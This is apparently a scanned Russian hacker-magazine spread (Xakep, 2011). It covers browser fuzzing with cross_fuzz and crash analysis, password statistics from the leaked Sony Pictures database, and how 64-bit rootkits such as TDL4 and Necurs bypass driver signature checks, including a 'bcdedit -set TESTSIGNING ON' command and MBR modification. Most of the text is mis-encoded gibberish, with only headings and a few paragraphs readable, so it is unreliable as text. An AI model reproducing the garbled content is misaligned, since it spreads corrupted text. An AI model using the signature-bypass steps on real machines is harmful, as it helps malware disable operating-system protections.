ÃÏÌÉÈÉÑÔßÓ ËÁËÔß-ÓÏ ÞËÒÓÑÆÎÎÔß ÒÉÓÔÁ×Éß, ËÏÓÏÑÁà 
ÎÆ ÅÏÌÇÎÁ ÂÜÌÁ ÐÑÏÉÈÏÊÓÉ. ®Ï ÓÁË ËÁË ÍÁËÑÏÒ CRASH 
ÐÑÏÒÓÏ ÓÁË ÎÆ ÃÜÈÜÃÁÆÓÒà, ÈÎÁØÉÓ ÄÅÆ-ÓÏ ÐÑÏÉÈÏÙÌÁ 
ËÁËÁà-ÓÏ ÞËÒÓÑÆÎÎÁà ÒÉÓÔÁ×Éà, ËÏÓÏÑÔß ÏÂÎÁÑÔÇÉÌÉ É 
ÐÏÞÓÏÍÔ ÐÑÉÂÉÌÉ ÐÑÏ×ÆÒÒ.

Особенности анализа крешей 
Safari
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Включаем логирование 
и воспроизводим креши
¡ÌÄÏÑÉÓÍ ÑÁÂÏÓÜ ÕÁÈÈÆÑÁ ÐÏÅÑÁÈÔÍÆÃÁÆÓ ÄÆÎÆÑÁ×Éß ÏÄÑÏÍÎÏÄÏ 
ËÏÌÉØÆÒÓÃÁ ÏÂÑÁÚÆÎÉÊ Ë DOM. µÁÈÈÆÑÔ ÐÑÉÖÏÅÉÓÒà ÐÆÑÆÂÉÑÁÓÝ ÍÎÏ-
ÇÆÒÓÃÏ ÃÁÑÉÁÎÓÏÃ, ÐÑÆÇÅÆ ØÆÍ ÂÑÁÔÈÆÑ ÃÜÌÆÓÉÓ Ò ÏÙÉÂËÏÊ. ®Ï ÎÁÍ 
ÍÁÌÏ ÐÑÏÒÓÏ ËÑÆÙÎÔÓÝ ÐÑÉÌÏÇÆÎÉÆ — ÏÂàÈÁÓÆÌÝÎÏ ÎÔÇÎÏ ÐÏÎàÓÝ, 
ÐÏØÆÍÔ ÞÓÏ ÐÑÏÉÈÏÙÌÏ. ¸ÓÏÂÜ ÑÁÈÏÂÑÁÓÝÒà, ËÁËÁà ÐÏÒÌÆÅÏÃÁÓÆÌÝ-
ÎÏÒÓÝ ÃÜÈÏÃÏÃ ÃÜÈÜÃÁÆÓ ËÑÆÙ, ÎÔÇÎÏ ÃËÌßØÉÓÝ ÑÆÇÉÍ ÌÏÄÉÑÏÃÁÎÉà. 
²ÁÍÜÊ ÐÑÏÒÓÏÊ ÒÐÏÒÏÂ ÒÅÆÌÁÓÝ ÞÓÏ — ØÔÓÝ ÐÏÅÑÆÅÁËÓÉÑÏÃÁÓÝ ÉÒÖÏÅ-
ÎÉËÉ cross_fuzz É ÔÂÑÁÓÝ return ÉÈ ÕÔÎË×ÉÉ LOG(message). ´ÂÑÁÃ 
ÎÆÍÆÅÌÆÎÎÜÊ ÃÜÖÏÅ ÉÈ ÕÔÎË×ÉÉ ÌÏÄÉÑÏÃÁÎÉà, ÍÜ ÅÏÂÝÆÍÒà ÓÏÄÏ, ØÓÏ 
ÎÁ ÒÓÑÁÎÉ×Æ cross_fuzz ÂÔÅÔÓ ÏÓÏÂÑÁÇÁÓÝÒà ÃÒÆ ÃÜÈÜÃÁÆÍÜÆ ÕÔÎË×ÉÉ. 
« ÒÏÇÁÌÆÎÉß, cross_fuzz ÎÆ ÔÍÆÆÓ ÈÁÐÉÒÜÃÁÓÝ ÞÓÉ ÅÁÎÎÜÆ Ã ÕÁÊÌ. ®Ï 
ÅÌà ÞÓÉÖ ×ÆÌÆÊ ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ ÐÌÁÄÉÎÜ, ÎÁÐÑÉÍÆÑ, Firebug ÅÌà 
Firefox. ¥Ìà ÌÏÄÉÑÏÃÁÎÉà ØÆÄÏ-ÌÉÂÏ Ã JS ÎÔÇÎÏ ÃÒÓÁÃÉÓÝ ÒÌÆÅÔßÚÉÊ 
ËÏÅ:

try {
    console.log('eval %s',name); 
    ret_value = eval('target.' + name + '(' + par_str + ')'); 
} catch (e) {

À ÎÆÍÎÏÄÏ ÐÑÏÐÁÓØÉÌ Firebug, ØÓÏÂÜ ÓÏÓ ÍÏÄ ÐÉÒÁÓÝ ÒÃÏÊ ÌÏÄ Ã ÕÁÊÌ 
(ÉÒÐÑÁÃÌÆÎÎÜÊ ÃÁÑÉÁÎÓ ÉÚÉ ÎÁ ÎÁÙÆÍ ÅÉÒËÆ). £ ÑÆÈÔÌÝÓÁÓÆ ÃÒÆ ÅÆÊ-
ÒÓÃÉà ÕÁÈÈÆÑÁ (Ã ÓÏÍ ØÉÒÌÆ ÓÆ, ËÏÓÏÑÜÆ ÐÑÉÃÏÅàÓ Ë ËÑÆÙÔ) ÐÉÙÔÓÒà Ã ÌÏÄ 
Ã C:\Documents and Settings\username\Application Data\Mozilla\Firefox\
Profiles\XXXXXX.default\js. ³ÏÓ ÇÆ ÒÁÍÜÊ ÓÑßË ÍÏÇÎÏ ÐÑÏÃÆÑÎÔÓÝ É Ã ÅÑÔ-
ÄÉÖ ÂÑÁÔÈÆÑÁÖ, ÃÏÒÐÏÌÝÈÏÃÁÃÙÉÒÝ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÍÉ ÁÅÅÏÎÁÍÉ:
• ÅÌà Chrome: Firebug Lite for Google Chrome (ÆÒÓÝ ÆÚÆ ÃÒÓÑÏÆÎÎÜÊ Ã 
Chrome);
• ÅÌà Opera: Opera Dragonfly;
• ÅÌà Safari: WebKitDeveloperExtras.
°ÏÒÌÆ ÞÓÏÄÏ ÍÜ ÍÏÇÆÍ ÉÈÔØÉÓÝ ÃÒÆ, ØÓÏ ÐÑÏÉÒÖÏÅÉÌÏ Ã cross_fuzz, Á, 
ÈÎÁØÉÓ, É ÐÏÐÜÓÁÓÝÒà ÃÏÒÐÑÏÉÈÃÆÒÓÉ ËÑÆÙÉ.

Как анализировать креши?
´ÑÏÎÉÓÝ ÐÑÏÄÑÁÍÍÔ (ÐÔÒÓÝ ÅÁÇÆ ÐÏÎÉÍÁà, ËÁË) ÍÁÌÏ. ®ÁÍ ÎÆÏÂÖÏÅÉÍÏ 
ÐÑÏÁÎÁÌÉÈÉÑÏÃÁÓÝ ËÑÆÙÉ É ÏÐÑÆÅÆÌÉÓÝ, ÞËÒÐÌÔÁÓÉÑÔÆÍÜÆ ÏÎÉ ÉÌÉ ÎÆÓ. 
¾ÓÁ ÓÆÍÁ ÎÁÒÓÏÌÝËÏ ÍÎÏÄÏÄÑÁÎÎÁ, ØÓÏ ÏÎÁ àÃÎÏ ÃÜÖÏÅÉÓ ÈÁ ÑÁÍËÉ ÞÓÏÄÏ 
ÍÁÓÆÑÉÁÌÁ. ®ÁÙÁ ÈÁÅÁØÁ ÎÁ ÒÆÄÏÅÎà — ÏÐÑÆÅÆÌÉÓÝ ÏÙÉÂËÉ Ã ÐÑÏÄÑÁÍ-
ÍÆ, ËÏÓÏÑÜÆ ÓÆÏÑÆÓÉØÆÒËÉ ÍÏÇÎÏ ÞËÒÐÌÔÁÓÉÑÏÃÁÓÝ. ¡ Ï ÓÏÍ, ËÁË ÐÉÙÔÓÒà 
ÒÐÌÏÉÓÜ, ÏÂÖÏÅàÓÒà ÐÆÒÏØÎÉ×Ü É ÈÁÚÉÓÎÜÆ ÍÆÖÁÎÉÈÍÜ ÃÑÏÅÆ DEP/
ASLR Ã ÇÔÑÎÁÌÆ ÂÜÌÏ ÎÆÍÁÌÏ ÒÓÁÓÆÊ (ÖÏÓà ÏÅÎÉÖ ÓÏÌÝËÏ ÍÁÓÆÑÉÁÌÏÃ 

ÇÔÑÎÁÌÁ ][ ÓÔÓ, ÐÏ ÐÑÁÃÅÆ ÄÏÃÏÑà, ÎÆÅÏÒÓÁÓÏØÎÏ). ÏÄÔ ÌÉÙÝ ÅÁÓÝ ÐÁÑÔ 
ÐÏÌÆÈÎÜÖ ÒÏÃÆÓÏÃ.  «ÏÄÅÁ ÑÁÈÂÉÑÁÆÙÝ ËÑÆÙÉ Ã ÓÁËÉÖ ÎÆÍÁÌÆÎÝËÉÖ 
ÐÑÏÄÑÁÍÍÁÖ ËÁË ÂÑÁÔÈÆÑÜ, ÎÆÍÁÌÏ ÎÆÑÃÏÃ É ÃÑÆÍÆÎÉ ÒÐÁÒÁßÓ ÓÁË 
ÎÁÈÜÃÁÆÍÜÆ ÏÓÌÁÅÏØÎÜÆ ÒÉÍÃÏÌÜ. ¾ÓÁ ÉÎÕÏÑÍÁ×Éà ÐÏÈÃÏÌàÆÓ ØÆÌÏ-
ÃÆËÔ ÉÒÐÏÌÝÈÏÃÁÓÝ «ÒÉÍÃÏÌÉØÆÒËÉÆ» (ÏÓÌÁÅÏØÎÜÆ) ÅÁÎÎÜÆ Ï ÅÃÏÉØÎÏÍ 
ÕÁÊÌÆ, ÓÁËÉÆ ËÁË ÉÍÆÎÁ ÐÆÑÆÍÆÎÎÜÖ, ÐÑÏ×ÆÅÔÑ É ÕÔÎË×Éà ÉÈ ÉÒÖÏÅÎÏÄÏ 
ËÏÅÁ. ¾ÓÁ ÉÎÕÏÑÍÁ×Éà ÍÏÇÆÓ ÂÜÓÝ ËÑÁÊÎÆ ÐÏÌÆÈÎÏÊ ÃÏ ÃÑÆÍà ÐÏÉÒËÁ 
ÏÙÉÂÏË Ã ÉÒÖÏÅÎÏÍ ËÏÅÆ, ÏÓÌÁÅËÆ ÐÑÏÄÑÁÍÍÜ É ÑÁÈÎÏÄÏ ÑÏÅÁ ÏÓËÁÈÁÖ. 
¸ÓÏÂÜ ÎÆ ÃËÌßØÁÓÝ ÆÆ Ã ÂÉÎÁÑÎÜÊ ÕÁÊÌ, ÑÁÈÑÁÂÏÓØÉËÉ ÃÜËÌÁÅÜÃÁßÓ 
ÏÓÌÁÅÏØÎÔß ÉÎÕÏÑÍÁ×Éß Ã ÃÉÅÆ ÏÓÅÆÌÝÎÜÖ ÕÁÊÌÏÃ ÉÌÉ ÎÁ ÒÐÆ×ÉÁÌÝ-
ÎÏÍ ÒÆÑÃÆÑÆ ÏÓÌÁÅÏØÎÏÊ ÉÎÕÏÑÍÁ×ÉÉ. £ ÒÌÔØÁÆ ÂÑÁÔÈÆÑÏÃ ÆÆ, ÔÃÜ, ÎÆ 
ÓÁË ÍÎÏÄÏ:
• ÅÌà Internet Explorer (mzl.la/mC8XP5);
• ÅÌà Firefox (bit.ly/jiHbQA).
°ÑÉ ÐÑÏÃÆÑËÆ ÏÓÌÁÅÏØÎÜÖ ÒÉÍÃÏÌÏÃ ÅÌà Safari (bit.ly/jiHbQA) ÃÜàÒ-
ÎÉÌÏÒÝ, ØÓÏ ÅÌà ËÌßØÆÃÜÖ ÍÏÅÔÌÆÊ (Webkit.dll, JavaScriptCore.dll) 
ÏÓÌÁÅÏØÎÁà ÉÎÕÏÑÍÁ×Éà ÎÁ ÒÆÑÃÆÑÆ ÏÓÒÔÓÒÓÃÔÆÓ. °ÏÞÓÏÍÔ, ØÓÏÂÜ 
ÐÏÌÔØÉÓÝ ÆÆ, ÐÑÉÅÆÓÒà ÒÏÂÉÑÁÓÝ WebKit ÒÁÍÏÍÔ. ©ÒÖÏÅÎÉËÉ ÃÒÆÄÅÁ 
ÅÏÒÓÔÐÎÜ ÈÅÆÒÝ — svn.webkit.org/repository/webkit, Á ÉÎÒÓÑÔË×Éà ÅÌà 
ÒÂÏÑËÉ ÈÅÆÒÝ — trac.webkit.org/wiki/BuildingOnWindows. ¦ÚÆ ÏÅÉÎ 
ÒÏÃÆÓ ËÁÒÁÆÓÒà ÏÓÌÁÅËÉ Chrome. °Ï ÔÍÏÌØÁÎÉß ÞÓÏÓ ÂÑÁÔÈÆÑ ÒÏÈÅÁÆÓ 
ÅÌà ËÁÇÅÏÊ ÃËÌÁÅËÉ ÏÓÅÆÌÝÎÜÊ ÐÑÏ×ÆÒÒ, ØÓÏ ÅÌà ÎÁÒ ÎÆ ÐÏÅÖÏÅÉÓ. 
°ÏÞÓÏÍÔ ÆÄÏ ÌÔØÙÆ ÈÁÐÔÒËÁÓÝ Ò ËÌßØÏÍ «--single-process»: Ã ÞÓÏÍ 
ÑÆÇÉÍÆ ÃÒÆ ÃËÌÁÅËÉ ÂÔÅÔÓ ÈÁÐÔÚÆÎÜ Ã ÆÅÉÎÒÓÃÆÎÎÏÍ ÐÑÏ×ÆÒÒÆ. ¸ÓÏ 
ËÁÒÁÆÓÒà ÁÎÁÌÉÈÁ ËÑÆÙÆÊ Ã Safari, ÅÌà ËÏÓÏÑÏÄÏ ÍÜ É ÎÁÐÉÒÁÌÉ 0day-
ÒÐÌÏÉÓ, ÓÏ ÓÔÓ ÆÒÓÝ ÆÚÆ ÏÅÉÎ ÎßÁÎÒ — ÐÏÅÑÏÂÎÆÆ Ï ÎÆÍ ÓÜ ÍÏÇÆÙÝ 
ÐÑÏØÉÓÁÓÝ ÃÏ ÃÑÆÈËÆ. 

Результаты фаззинга
¸ÓÏ ÐÏÌÔØÉÌÏÒÝ Ã ÑÆÈÔÌÝÓÁÓÆ ÎÁÙÆÄÏ ÉÒÒÌÆÅÏÃÁÎÉà? 
Firefox ÓÑÆÓÝÆÊ ÃÆÓËÉ:
¦ÒÓÝ ËÑÆÙÉ, ÎÏ ÉÖ ÎÆ ÐÏÌÔØÉÌÏÒÝ ÃÏÒÐÑÏÉÈÃÆÒÓÉ, ÅÁÇÆ ÈÎÁà ÃÆÒÝ ÌÏÄ ÃÏ 
ÃÑÆÍà ÐÁÅÆÎÉà. ´àÈÃÉÍÏÒÓÝ ÒÉÌÝÎÏ ÒÃàÈÁÎÁ Ò ÒÏÒÓÏàÎÉÆÍ ÅÉÎÁÍÉØÆ-
ÒËÏÊ ÐÁÍàÓÉ (heap).
Firefox, ÃÆÓËÁ ØÆÓÜÑÆ:
«ÑÆÙÆÊ ÎÆ ÂÜÌÏ ÈÁÕÉËÒÉÑÏÃÁÎÏ.
Chrome:
¦ÒÓÝ ËÑÆÙÉ, ÎÏ ÉÖ ÎÆ ÐÏÌÔØÉÌÏÒÝ ÃÏÒÐÑÏÉÈÃÆÒÓÉ — ÓÁËÁà ÇÆ ÉÒÓÏÑÉà, 
ËÁË É Ò Firefox ÓÑÆÓÝÆÊ ÃÆÓËÉ.
Safari:
«ÑÆÙÉ ÂÜÌÉ, ÃÏÒÐÑÏÉÈÃÆÒÓÉ ÍÏÇÎÏ. ²ÐÌÏÉÓ ÎÁÐÉÒÁÎ :).
¢ÑÁÔÈÆÑÜ — ÞÓÏ ÏØÆÎÝ ÒÌÏÇÎÏÆ °¯. °ÏÞÓÏÍÔ ÎÆÓ ÎÉØÆÄÏ ÔÅÉÃÉÓÆÌÝÎÏÄÏ, 
ØÓÏ Ã ÎÉÖ ÆÒÓÝ ÔàÈÃÉÍÏÒÓÉ. £ÒÆÍ ÉÈÃÆÒÓÎÏ: ÂÆÈÏÐÁÒÎÏÒÓÝ ÏÂÑÁÓÎÏ ÐÑÏ-
ÐÏÑ×ÉÏÎÁÌÝÎÁ ÏÂÛÆÍÔ É ÒÌÏÇÎÏÒÓÉ ËÏÅÁ. ´ ÂÑÁÔÈÆÑÁ ÏØÆÎÝ ÍÎÏÄÏ ÃÆË-
ÓÏÑÏÃ ÁÓÁËÉ: ØÆÄÏ ÒÓÏÉÓ ÏÅÉÎ ÓÏÌÝËÏ SVG, ÐÑÏ ËÏÓÏÑÜÊ Ã ÞÓÏÊ ÒÓÁÓÝÆ ÎÆ 
ÔÐÏÍÉÎÁÌÏÒÝ. ¢ÏÌÝÙÁà ØÁÒÓÝ ËÑÆÙÆÊ, ÃÜÈÃÁÎÎÜÖ ÕÁÈÈÆÑÏÍ, ÎÆ àÃÌàßÓ-
Òà ÄÁÑÁÎÓÉÆÊ ÔÒÐÆÖÁ É ÈÁÃàÈÁÎÜ ÎÁ ÂÏÌÝÙÏÍ ØÉÒÌÆ ÕÁËÓÏÑÏÃ ÒÏÒÓÏàÎÉà 
ËÔØÉ É ÍÎÏÄÉÖ ÅÑÔÄÉÖ ÐÁÑÁÍÆÓÑÏÃ. ©È ÞÓÏÄÏ ÍÏÇÎÏ ÒÅÆÌÁÓÝ ÃÜÃÏÅ, ØÓÏ 
ÅÌà ÑÆÁÌÉÈÁ×ÉÉ ÎÁ 100% ÎÁÅÆÇÎÏÄÏ ÒÐÌÏÉÓÁ ÎÔÇÎÏ ÐÏÓÑÁÓÉÓÝ ÏØÆÎÝ 
ÍÎÏÄÏ ÒÉÌ, ÃÑÆÍÆÎÉ É ÎÆÑÃÏÃ. ³ÆÍ ÎÆ ÍÆÎÆÆ, ÉÒÐÏÌÝÈÔà ÅÁÎÎÔß ÍÆÓÏÅÉ-
ËÔ, ÃÐÏÌÎÆ ÍÏÇÎÏ ÎÁÊÓÉ ÔàÈÃÉÍÏÒÓÉ Ã ÂÑÁÔÈÆÑÆ, ØÓÏ ÍÜ ÅÏËÁÈÁÌÉ, ÏÂÎÁ-
ÑÔÇÉÃ ÔàÈÃÉÍÏÒÓÝ ÎÔÌÆÃÏÄÏ ÅÎà Ã Safari ÎÁ Positive Hack Days. z
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Для корректной работы фаззера нужно не забыть про 
его вспомогательные файлы

Код cross_fuzz написан на HTML/JavaScript
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QWERTY, 12345, GFHJKM

¸ÆÍ ÅÌÉÎÎÆÆ ÐÁÑÏÌÝ, ÓÆÍ ÏÎ ÎÁÅÆÇÎÆÆ. ´ 93% ÁËËÁÔÎÓÏÃ ÅÌÉÎÁ ÐÁÑÏÌà ÃÁÑÝÉÑÔ-
ÆÓÒà ÏÓ 6 ÅÏ 10 ÒÉÍÃÏÌÏÃ (ÃÉÅÉÍÏ, ÐÏ ÍÉÎÉÍÁÌÝÎÏÊ ÅÌÉÎÆ ÅÆÊÒÓÃÔÆÓ ÓÑÆÂÏÃÁÎÉÆ 
ÒÆÑÃÉÒÁ), ÎÏ ÐÑÉ ÞÓÏÍ Ô 50% ÐÏÌÝÈÏÃÁÓÆÌÆÊ ÏÎ ÍÆÎÆÆ 8 ÒÉÍÃÏÌÏÃ. ¨ÅÑÁÃÒÓÃÔÊ, 
ÂÑÔÓÕÏÑÒ É ÑÁÅÔÇÎÜÆ ÓÁÂÌÉ×Ü.
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ÄËÈÍÀ ÏÀÐÎËß

Наделавшие много шума хакерские группы Anonymous и Lulzsec своими выходками подкидывают высококачественный 
материал для различных исследований. Так, через torrent'ы без труда можно скачать базу пользователей Sony Pictures, из 
которой в открытом виде извлекается почти 40 тысяч паролей пользователей. На основе этой вполне репрезентативной 
выборки программист Трой Хант (www.troyhunt.com) сделал интересный анализ паролей.
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ÈÑÏÎËÜÇÓÅÌÛÅ ÑÈÌÂÎËÛ

²ÌÏÇÎÏÒÓÝ ÐÁÑÏÌà ÎÆÐÑÆÍÆÎÎÏ ÏÐÑÆÅÆÌàÓÒà ÒÉÍÃÏ-
ÌÁÍÉ, ËÏÓÏÑÜÆ Ã ÎÆÄÏ ÃÖÏÅàÓ. ¯ÅÎÁËÏ ÐÏÌÏÃÉÎÁ ÐÁÒÒÏÃ 
ÒÏÒÓÏÉÓ ÉÈ ÒÉÍÃÏÌÏÃ ÏÅÎÏÄÏ ÓÉÐÁ, ÓÏ ÆÒÓÝ ÌÉÂÏ ÓÏÌÝËÏ  
ÎÉÇÎÆÄÏ ÑÆÆÒÓÑÁ, ÌÉÂÏ ÓÏÌÝËÏ ÉÈ ÂÔËÃ ÃÆÑÖÎÆÄÏ 
ÑÆÄÉÒÓÑÁ,  ÌÉÂÏ ÓÏÌÝËÏ ÉÈ ØÉÒÆÌ.

45%50%

4%1%

¸ÓÏ ÍÏÇÆÓ ÂÜÓÝ ÖÔÇÆ, ØÆÍ ÒÌÏÃÁÑÎÜÊ 
ÐÁÑÏÌÝ? ©ÒÒÌÆÅÏÃÁÓÆÌÝ ÃÈàÌ ÒÌÏÃÁÑÝ 
ÎÁ 1,7 ÍÉÌÌÉÏÎÁ ÒÌÏÃ (dazzlepod.com/
site_media/txt/passwords.txt) É ÐÏÒÍÏ-
ÓÑÆÌ, ÒËÏÌÝËÏ ÐÁÑÏÌÆÊ Ã ÎÆÄÏ «ÐÏÐÁÌÏ». 
¯ËÁÈÁÌÏÒÝ, ÂÏÌÝÙÆ ÓÑÆÓÉ ÉÒÐÏÌÝÈÔÆÍÜÖ 
ÐÁÒÒÏÃ — ÒÌÏÃÁÑÎÜÆ!

ÑËÎÂÀÐÍÛÅ ÏÀÐÎËÈ

64%

36%
8%

18%

92% 82%

Другие 
варианты

Только 
буквы 
верхнего 
регистра

Только 
цифры

Только 
буквы 
нижнего 
регистра

Пароль 
не из словаря

Уникальный 
пароль

Словарный 
пароль

Повторно 
используемый 
пароль 

Легко взламываемый 
через радужные 
таблицы

ÒÅÑÒ ÍÀ ÓÍÈÊÀËÜÍÎÑÒÜ ÁÐÓÒÔÎÐÑ ÕÅØÀ

¶ÏÑÏÙÉÊ ÃÏÐÑÏÒ: «©ÒÐÏÌÝÈÔßÓ ÌÉ ÐÏÌÝÈÏÃÁ-
ÓÆÌÉ ÔÎÉËÁÌÝÎÜÆ ÐÁÑÏÌÉ ÅÌà ÑÁÈÎÜÖ ÒÆÑÃÉ-
ÒÏÃ?». °ÏÒËÏÌÝËÔ Ã ÂÁÈÔ Sony Pictures ÃËÌß-
ØÆÎÜ ÐÁÑÏÌÉ ÅÌà ÑÁÈÌÉØÎÜÖ ÒÆÑÃÉÒÏÃ, ÍÜ 
ÍÏÇÆÍ ÐÏÒÍÏÓÑÆÓÝ ÐÆÑÆÒÆØÆÎÉÆ ÐÁÒÒÏÃ ÅÌà 
ÏÅÎÏÄÏ É ÓÏÄÏ ÇÆ ÐÏÌÝÈÏÃÁÓÆÌà. ̄ ËÁÈÁÌÏÒÝ, ØÓÏ 
92% ßÈÆÑÏÃ ÉÒÐÏÌÝÈÔßÓ ÏÅÉÎ É ÓÏÓ ÇÆ ÐÁÑÏÌÝ.

£ ÒÌÔØÁÆ Ò Sony Pictures ÃÒÆ ÐÁÑÏÌÉ ÖÑÁÎÉ-
ÌÉÒÝ Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ (ÖÏÓà ÓÁËÏÆ ÒÌÏÇÎÏ ÅÁÇÆ 
ÐÑÆÅÒÓÁÃÉÓÝ!), ÎÏ ÅÁÇÆ ÆÒÌÉ ÂÜ ÏÎÉ ÂÜÌÉ ÈÁÖÆ-
ÙÉÑÏÃÁÎÜ, ÓÏ 82% ÖÆÙÆÊ ÎÆÐÑÆÍÆÎÎÏ ÂÜ ÒÅÁ-
ÌÉÒÝ ÐÏÅ ÎÁÐÏÑÏÍ ÑÁÅÔÇÎÜÖ ÓÁÂÌÉ× (project-
rainbowcrack.com). ¾ÓÏ ÐÁÑÏÌÉ ÉÈ ÂÔËÃ É ×ÉÕÑ 
ÍÆÎÝÙÆ 9 ÒÉÍÃÏÌÏÃ ÅÌÉÎÏÊ.

Сложно 
взламываемый



XÀÊÅÐ  08/151/  2011 064

ВЗЛОМ

´ØÉÓÜÃÁà, ØÓÏ à ÔÇÆ ÎÆ ÑÁÈ ÐÉÒÁÌ Ã ÇÔÑÎÁÌÆ ÎÁ ÅÁÎÎÔß ÓÆÍÔ, ÍÜ 
ÒËÏÎ×ÆÎÓÑÉÑÏÃÁÌÉÒÝ ÎÁ ÅÃÔÖ ÎÏÃÜÖ ÃÆÚÁÖ. °ÆÑÃÁà — ÃÎÆÅÑÆÎÉÆ ÑÔÓ-
ËÉÓÁ ÎÁ x64-ÒÉÒÓÆÍÜ Ã ÏÂÖÏÅ ÐÑÏÃÆÑËÉ ×ÉÕÑÏÃÏÊ ÐÏÅÐÉÒÉ, Á ÃÓÏÑÁà 
— ÓÏ, ËÁËÉÍ ÏÂÑÁÈÏÍ ÐÏÅÖÏÅÉÓÝ Ë ËÑÉÍÉÎÁÌÉÒÓÉØÆÒËÏÊ ÞËÒÐÆÑÓÉÈÆ 
ÔÇÆ ÈÁÑÁÇÆÎÎÜÖ ÍÁÙÉÎ.

Обход проверки 
цифровой подписи
®Á 64-ÂÉÓÎÜÖ ÃÆÑÒÉàÖ ÏÐÆÑÁ×ÉÏÎÎÜÖ ÒÉÒÓÆÍ MS Windows (Vista, 
Win7) ÃÒÆ ÍÏÅÔÌÉ, ÈÁÄÑÔÇÁÆÍÜÆ ÎÁ ÔÑÏÃÆÎÝ àÅÑÁ, ÅÏÌÇÎÜ ÉÍÆÓÝ 
ÏÂàÈÁÓÆÌÝÎÔß ×ÉÕÑÏÃÔß ÐÏÅÐÉÒÝ, ÐÑÉØÆÍ ÃÜÅÁÎÎÔß ÎÆ ÁÂÜ ËÆÍ. 
©È ÉÈÃÆÒÓÎÜÖ ÒÆÊØÁÒ ÒÐÏÒÏÂÏÃ ÏÂÖÏÅÁ ÞÓÏÊ ÐÑÏÃÆÑËÉ ÃÏ ÃÑÆÅÏ-
ÎÏÒÎÜÖ ÐÑÏÄÑÁÍÍÁÖ ÉÒÐÏÌÝÈÔßÓÒà Ã ÏÒÎÏÃÎÏÍ ÅÏÒÓÁÓÏØÎÏ ÐÑÉÍÉ-
ÓÉÃÎÜÆ ÓÆÖÎÉËÉ. « ÐÑÉÍÆÑÔ, ÑÔÓËÉÓ-ÅÑÁÊÃÆÑ ÉÈ ÒÆÍÆÊÒÓÃÁ Win64/
TrojanDownloader.Necurs, ÐÏÅÐÉÒÁÎ ÓÆÒÓÏÃÏÊ ×ÉÕÑÏÃÏÊ ÐÏÅÐÉÒÝß É 
ÔÒÓÁÎÁÃÌÉÃÁÆÓÒà ÐÑÉ ÐÏÍÏÚÉ ÓÏÄÏ, ØÓÏ ÆÄÏ ÅÑÏÐÐÆÑ (Ò ÔØÆÓÏÍ ÎÁÌÉ-
ØÉà ÒÏÏÓÃÆÓÒÓÃÔßÚÉÖ ÐÑÁÃ ÅÏÒÓÔÐÁ) ÃÎÏÒÉÓ ÉÈÍÆÎÆÎÉà (Bcdedit.exe 
-set TESTSIGNING ON) Ã Boot Configuration Data (BCD) ÅÌà ÈÁÄÑÔÈËÉ 
ÒÉÒÓÆÍÜ Ã ÒÐÆ×ÉÁÌÝÎÏÍ ÑÆÇÉÍÆ TESTSIGNING. ©ÍÆÎÎÏ ÞÓÉ ÍÁÎÉ-
ÐÔÌà×ÉÉ É ÐÏÈÃÏÌàßÓ ÈÁÄÑÔÈÉÓÝ ÃÑÆÅÏÎÏÒÎÜÊ ÅÑÁÊÃÆÑ Ã ÏÂÖÏÅ ÃÒÆÖ 
ÐÑÏÃÆÑÏË. ¡ÎÁÌÏÄÉØÎÁà ÓÆÖÎÉËÁ ÐÑÉÍÆÎàÆÓÒà É Ã Win64/Spy.Banker, 
ÎÏ ÑÁÈÑÁÂÏÓØÉËÉ ÑÔÓËÉÓÁ TDL4 ÉÒÐÏÌÝÈÏÃÁÌÉ ÂÏÌÆÆ ÓÆÖÎÏÌÏÄÉØÎÜÊ 
É ÉÎÓÆÑÆÒÎÜÊ ÒÐÏÒÏÂ ÏÂÖÏÅÁ ÐÑÉ ÐÏÍÏÚÉ ÂÔÓËÉÓ ÍÏÅÔÌà É ÍÎÏÄÏ 
ÉÓÆÑÁ×ÉÏÎÎÜÖ ÍÏÅÉÕÉËÁ×ÉÊ Ã ÐÑÏ×ÆÒÒÆ ÈÁÄÑÔÈËÉ ÒÁÍÏÊ ÏÐÆÑÁ×É-
ÏÎÎÏÊ ÒÉÒÓÆÍÜ.
£ ÐÑÏ×ÆÒÒÆ ÒÃÏÆÊ ÔÒÓÁÎÏÃËÉ ÅÑÏÐÐÆÑ TDL4 ÐÏÅÄÏÓÁÃÌÉÃÁÆÓ ÒÐÆ×É-
ÁÌÝÎÜÊ ËÏÎÓÆÊÎÆÑ ÒÃÏÆÊ ÒËÑÜÓÏÊ ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ É ÈÁÐÉÒÜÃÁÆÓ ÆÄÏ 
Ã ËÏÎÆ× ÇÆÒÓËÏÄÏ ÅÉÒËÁ, Á ÓÁËÇÆ ÃÎÏÒÉÓ ÍÏÅÉÕÉËÁ×ÉÉ Ã MBR (Master 
Boot Record), ÐÏÒÌÆ ØÆÄÏ ÃÜÈÜÃÁÆÓ ÎÆÅÏËÔÍÆÎÓÉÑÏÃÁÎÎÔß ÕÔÎË×Éß 
ZwRaiseHardError(), ËÏÓÏÑÁà ÃÜÈÜÃÁÆÓ BSOD É ÃÜÎÔÇÅÆÎÎÔß ÐÆÑÆÈÁ-
ÄÑÔÈËÔ ÒÉÒÓÆÍÜ. °ÑÏ×ÆÒÒ ÈÁÄÑÔÈËÉ ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆÍÜ ÃÜÄÌàÅÉÓ 
ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ (ÒÍ. ÑÉÒ. 1).
«ÁË ÃÉÅÎÏ ÉÈ ÞÓÏÊ ÒÖÆÍÜ, ÃÒÆ ÎÁØÉÎÁÆÓÒà Ò ÃÜÐÏÌÎÆÎÉà ËÏÅÁ MBR, Ã 
ÎÁÙÆÍ ÒÌÔØÁÆ MBR ÂÜÌ ÍÏÅÉÕÉ×ÉÑÏÃÁÎ. ®ÉÇÆ ÐÑÉÃÆÅÆÎÁ ÍÏÅÉÕÉ×É-
ÑÏÃÁÎÎÁà ÈÁÄÑÔÈÏØÎÁà ÈÁÐÉÒÝ (ÒÍ. ÑÉÒ. 2).
£ÉÅÎÏ, ØÓÏ ÃÎÁØÁÌÆ ÉÒÐÏÌÝÈÔÆÓÒà ÎÆÖÉÓÑÁà ÓÆÖÎÉËÁ ÒÁÍÏÍÏÅÉÕÉËÁ×ÉÉ 
